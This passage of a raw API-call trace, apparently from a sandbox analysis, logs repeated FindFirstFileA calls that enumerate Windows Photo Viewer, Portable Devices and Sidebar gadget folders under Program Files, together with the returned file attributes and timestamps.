ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f495d, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x502518 [0077.758] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22b43298, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fa4e0, dwReserved1=0x4fa4db, cFileName=".", cAlternateFileName="")) returned 0x502598 [0077.762] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Portable Devices\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xdc5053e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdc5053e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0077.765] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0077.767] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\en-US\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x229eba17, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fa4e0, dwReserved1=0x4fa4db, cFileName=".", cAlternateFileName="")) returned 0x502598 [0077.770] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8012b5d2, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8012b5d2, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0077.771] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea8d4f6, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4ff4e8, dwReserved1=0x4ff4e3, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0077.775] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a11cd0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x5015a6, cFileName=".", cAlternateFileName="")) returned 0x502618 [0077.777] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\css\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a37f89, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4f60ba, cFileName=".", cAlternateFileName="")) returned 0x502658 [0077.779] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\js\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a37f89, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f4c0, dwReserved1=0x4f60ba, cFileName=".", cAlternateFileName="")) returned 0x502658 [0077.781] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8191f35e, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8191f35e, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x5015a6, cFileName=".", cAlternateFileName="")) returned 0x502618 [0077.786] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea6723d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0077.790] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22aaa7b4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x5015a0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0077.797] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22aaa7b4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4f60b4, cFileName=".", cAlternateFileName="")) returned 0x502658 [0077.800] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\js\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22aaa7b4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f4c0, dwReserved1=0x4f60b4, cFileName=".", cAlternateFileName="")) returned 0x502658 [0077.802] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x818f91fe, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x818f91fe, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x5015a0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0077.817] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea6723d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0077.822] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a37f89, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x50159c, cFileName=".", cAlternateFileName="")) returned 0x502618 [0077.824] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\css\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a5e242, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4f60b0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0077.826] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\js\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a5e242, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f4c0, dwReserved1=0x4f60b0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0077.828] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8191f35e, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8191f35e, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x50159c, cFileName=".", cAlternateFileName="")) returned 0x502618 [0077.833] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea8d4f6, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0077.837] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a11cd0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x5015a6, cFileName=".", cAlternateFileName="")) returned 0x502618 [0077.838] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\css\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a11cd0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5014f8, dwReserved1=0x5014f3, cFileName=".", cAlternateFileName="")) returned 0x502658 [0077.841] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\js\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a11cd0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f4c0, dwReserved1=0x4f60ba, cFileName=".", cAlternateFileName="")) returned 0x502658 [0077.847] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x819b78df, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x819b78df, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x5015a6, cFileName=".", cAlternateFileName="")) returned 0x502618 [0077.852] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea8d4f6, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0077.856] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a844fb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x5015b0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0077.857] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\css\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a844fb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5014f8, dwReserved1=0x5014f3, cFileName=".", cAlternateFileName="")) returned 0x502658 [0077.863] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\js\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a844fb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4f60c4, cFileName=".", cAlternateFileName="")) returned 0x502658 [0077.866] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8196b61f, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8196b61f, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x5015b0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0077.877] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea8d4f6, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0077.881] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22ad0a6d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x5015a6, cFileName=".", cAlternateFileName="")) returned 0x502618 [0077.882] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22ad0a6d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5014f8, dwReserved1=0x5014f3, cFileName=".", cAlternateFileName="")) returned 0x502658 [0077.888] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\js\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22ad0a6d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f4c0, dwReserved1=0x4f60ba, cFileName=".", cAlternateFileName="")) returned 0x502658 [0077.891] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8199177f, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8199177f, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x5015a6, cFileName=".", cAlternateFileName="")) returned 0x502618 [0077.896] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea8d4f6, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0077.901] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x229c575e, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x5015a8, cFileName=".", cAlternateFileName="")) returned 0x502618 [0077.901] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\css\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x229c575e, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5014f8, dwReserved1=0x5014f3, cFileName=".", cAlternateFileName="")) returned 0x502658 [0077.907] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\js\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x229c575e, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4f60bc, cFileName=".", cAlternateFileName="")) returned 0x502658 [0077.910] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x819454bf, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x819454bf, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x5015a8, cFileName=".", cAlternateFileName="")) returned 0x502618 [0077.915] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\in_sidebar\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x819454bf, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x819454bf, ftLastWriteTime.dwHighDateTime=0x1ca0444, 